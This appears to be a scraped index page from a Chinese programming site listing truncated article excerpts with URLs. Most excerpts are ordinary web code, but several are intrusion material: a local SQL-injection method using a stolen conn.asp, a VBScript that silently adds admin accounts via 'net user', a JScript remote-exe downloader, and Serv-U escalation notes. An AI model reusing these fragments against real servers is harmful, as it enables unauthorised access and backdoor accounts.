[code]<imgid="img1"src=""/><script>functionfileChange(obj){varurl=obj.valueurl="file:///"+url.replace("\\",'/');alert(url);document.getElementById("img1").src=url;}</script><inputtype="file"onchange="fileChange(this);"/>[/code]关键是:url="file:///"+url.replace("\\",'/')...
http://www.jb51.net//article/16436.htm
采集中或者在线添加文章中都可以用到此功能俺自己在baidu上搜索的保存远程图片到本地的代码感觉比较难用点而且没有现成的比较全的代码俺也看不懂俺从SNA新闻采集系统For3.62(程序制作:ansir)里提取了点函数用下比较简单好用以下是函数程序代码 [code]<%'=================================================='函数名:CheckDir2'作用:检查文件夹是否存在'参数:FolderPath------文件夹地址'==================================================Funct...
http://www.jb51.net//article/16081.htm
直接用正则替换,但没有判断功能Function FormatImg(content)dim reSet re=new RegExpre.IgnoreCase =truere.Global=Truere.Pattern="(script)"Content=re.Replace(Content,"script")re.Pattern="<img.[^>]*src(=| )(.[^>]*)>"Content=re.replace(Content,"<img src=$2 style=""cu...
http://www.jb51.net//article/15363.htm
何为本地注射?简单地讲,就是本来你在服务器上无法进行SQL注入,因为服务器上的WEB程序很安全,对request("id")这样的请求过滤很严,或是限制输入格式为数字等等方法,你只能选择放弃放弃注入。但是在有的时候,你可以在本机的IIS里进行注入,从而达到对服务器注射的目的,避过服务器的request参数提交过滤。举例子来说明吧,现在你误打误撞,利用暴库或是其他的漏洞,得到了服务器的conn.asp文件,那么恭喜你,入侵离成功不远了。conn.asp文件代码一般如下:<%Set conn = Server.CreateObject("ADODB.Connec...
http://www.jb51.net//article/15164.htm
<img id="img1" src=""/> <script> function fileChange(obj) { var url = obj.value url = "file:///" + url.replace("\\",'/'); alert(url); document.getElementById("img1").src= url; } </scrip...
http://www.jb51.net//article/15060.htm
<img id="img1" src=""/> <script> function fileChange(obj) { var url = obj.value url = "file:///" + url.replace("\\",'/'); alert(url); document.getElementById("img1").src= url; } </scrip...
http://www.jb51.net//article/15059.htm
Dim WshShellset WshShell = CreateObject("wscript.Shell")WshShell.Run "cmd /k"for i = 1 to 3WScript.Sleep 500WshShell.SendKeys "net user admin" & i & " abcd@123 /add"WshShell.SendKeys ...
http://www.jb51.net//article/14818.htm
C:\>netstat -na|find "36897"TCP 127.0.0.1:36897 0.0.0.0:0 LISTENING绑定的本地IP啊?!那就说明这个是不可以远程的,只能本地了。......23132CBE 68 B4C61323 push 2313C6B4 ; ASCII "savepath"23132CC3 57 push edi23132CC4 FFD6 call esi23132CC6&...
http://www.jb51.net//article/14376.htm
网上流传可以利用MSWinsock控件实现,这是不好滴。因为这是个第三方组件,呵呵,几率相当小,既然要杀人灭口,嘿嘿,肯定要采用一套通杀的方法才是。Serv-U服务器管理那里使用了FTP协议,所以我们应该研究一下FTP协议先。正常的FTP协议的认证过程: 220 Serv-U FTP Server v5.2 for WinSock ready...user lake2331 User name okay, need password.pass l...
http://www.jb51.net//article/14372.htm
//use: cscript this.js http://www.xxx.com/xxx.exe c:\xxx.exevar objArgs = WScript.Arguments;var sGet=new ActiveXObject("ADODB.Stream");var xGet = false;try {xGet = new XMLHttpRequest();} catch (trymicrosoft)&nb...
http://www.jb51.net//article/14356.htm
magpierss中就用到了snoopy,这让我有点兴趣去研究下这个咚咚。再SF上,找到了这个源代码。居然就是一个类,但不要笑看哦,功能可是很强大的。 官方的简介,我翻译了下(汗。。。最近老是充当翻译的角色) snoopy是一个php类,用来模仿web浏览器的功能,它能完成获取网页内容和发送表单的任务。 下面是它的一些特征:1、方便抓取网页的内容2、方便抓取网页的文字(去掉HTML代码)3、方便抓取网页的链接4、支持代理主机5、支持基本的用户/密...
http://www.jb51.net//article/14179.htm
